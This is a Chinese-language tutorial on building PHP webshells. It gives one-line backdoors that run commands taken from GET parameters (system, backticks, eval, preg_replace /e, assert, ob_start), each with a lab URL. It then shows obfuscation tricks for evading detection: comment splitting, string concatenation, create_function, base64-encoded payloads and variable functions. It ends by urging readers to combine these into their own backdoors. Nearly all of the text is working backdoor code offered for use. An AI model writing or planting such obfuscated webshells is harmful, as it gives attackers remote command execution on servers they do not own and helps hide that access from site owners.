0x1 原理
1、执行系统命令的函数
proc_open, popen, exec, shell_exec,passthru,system
这里只给出两个例子,其他的可以查看php手册编写
system()
<?php
system($_GET[‘input’]);
?>
http://192.168.247.133:81/shell.php?input=dir
““”执行命令
“执行命令等价于shell_exec()函数来执行命令。
<?php
echo`$_GET[input]`;
?>
http://192.168.247.133:81/shell.php?input=dir
再来个更短的
<?=@`$_GET`?>
http://192.168.247.133:81/shell.php?c=dir
注:这个要开启short_open_tag的,不过默认为on
2、可以执行代码的函数
eval() 函数把字符串按照PHP 代码来计算,该字符串必须是合法的PHP 代码,且必须以分号结尾。
正则表达式
Preg_replace函数的作用是用来执行常规表达式的查找和替换的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用来查找的常规表达式,replacement是用来替换的字符串,submit是要查找替换的字符串,limit是可以替换的字符串数,count是成功替换的数目。函数将返回替换后的字符串,当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作PHP代码执行。
<?php
preg_replace(“//e”,$_GET[‘input’],”qingsh4n”);
?>
assert()
assert这个函数在php语言中是用来判断一个表达式是否成立。但是其字符串参数会被执行。
ob_start()
<?php
$foobar =$_GET[‘input1’];
ob_start($foobar);
echo$_GET[‘input2’];
ob_end_flush();
?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
更多的函数需要同志们去挖掘。
0x2 如何混淆
1、注释/**/
<?php
assert/**/($/**/{“_GET”}[‘input’]);
?>
2、连接号
php中“.”为字符串连接符号
<?php
$var =”a”;
$var .=”ss”;
$var .=”er”;
$var .=”t”;
$var($_GET[‘input’]);
?>
注:测试时发现,echo()、eval()等函数无效。
3、创建函数
create_function() 创建一个匿名函数
<?php
$foobar =$_GET[‘input’];
$dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”);
$dyn_func(”);
?>
5、编码函数,base64等
<?php
assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’));
?>
注:其他的编码函数有gzinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手册编写。
6、可变函数
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
<?php
$dyn_func =$_GET[‘dyn_func’];
$argument =$_GET[‘argument’];
$dyn_func($argument);
?>
如果register_globals=on时,代码可以改为如下形式:
<?php
$input1($input2);
?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
注:同样可以利用call_user_func()、array_walk()等函数
0x3 编写自己的webshell
通过上面的知识,可以任意组合上面写到的代码执行和混淆技术,编写属于自己的php后门应该是顺手拈来的事,如果谁有好的发现或者是奇淫技巧记得告诉我。最后附上酷壳上面关于hello world的6种变态写法,也许在这里面会找到些许灵感。